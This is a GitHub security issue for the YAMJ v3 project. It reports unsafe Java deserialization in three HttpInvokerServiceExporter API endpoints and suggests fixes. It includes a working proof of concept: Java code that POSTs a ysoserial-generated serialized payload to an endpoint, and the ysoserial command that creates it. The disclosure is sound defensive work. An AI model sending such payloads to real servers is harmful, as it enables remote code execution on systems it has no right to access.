YAMJ / yamj-v3

Main Project for YAMJ v3
11 stars 7 forks source link

Unsafe deserialization in several API endpoints #344

Open artem-smotrakov opened 3 years ago

artem-smotrakov commented 3 years ago

(after discussing this with the project maintainers, agreed to publish it)

The project has three API endpoints that use HttpInvokerServiceExporter

/SystemInfoService
/FileImportService
/GitHubService

https://github.com/YAMJ/yamj-v3/blob/97ff93f4d3596fc32291ef92d6289572d67772cd/yamj3-core/src/main/java/org/yamj/core/remote/service/RemoteServiceConfiguration.java#L45

HttpInvokerServiceExporter uses the default Java deserialization mechanism (InputObjectStream) to parse data that comes in a HTTP request. A malicious user can send a specially crafted request that contains a dangerous serialized object. Then, the endpoints deserialize the object which results in executing dangerous code on the server side.

The following code reproduces the issue:

byte[] payload = Files.readAllBytes(Paths.get("payload.bin"));
String endpoint = "http://localhost:8888/yamj3/SystemInfoService";
HttpURLConnection connection = (HttpURLConnection) new
URL(endpoint).openConnection();
connection.setDoOutput(true);
connection.setRequestMethod("POST");
connection.setRequestProperty("Content-Type",
"application/x-java-serialized-object");
connection.setRequestProperty("Content-Length",
Integer.toString(payload.length));
connection.setRequestProperty("Accept-Encoding", "gzip");
try (BufferedOutputStream bos = new
BufferedOutputStream(connection.getOutputStream())) {
    bos.write(payload);
    bos.flush();
}
System.out.println(connection.getResponseCode());

payload.bin is created by ysoserial tool:

java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS https://blog.gypsyengineer.com > payload.bin

The serialized object doesn't do anything dangerous - it just tries to resolve "blog.gypsyengineer.com" (you can use any other domain name). If you watch DNS traffic (tcpdump -i lo udp port 53) and run the code above, then you'll see a DNS request to resolve blog.gypsyengineer.com. Although it is only a demo to show the issue, it may be possible to build a serialized object that does something dangerous, for example, arbitrary code execution. Therefore the impact of the issue may be potentially high. It is relatively easy to exploit the issue - an attacker just needs to send a single HTTP request.

Unfortunately, Spring refused to make the HttpInvokerServiceExporter class safer

https://github.com/spring-projects/spring-framework/issues/24434

They only deprecated the class and updated the documentation. There are not too many ways to fix the issue:

  1. Remove the endpoints.
  2. Don't use HttpInvokerServiceExporter.
  3. Use global deserialization filters introduced in JEP 290 (need to be carefully configured).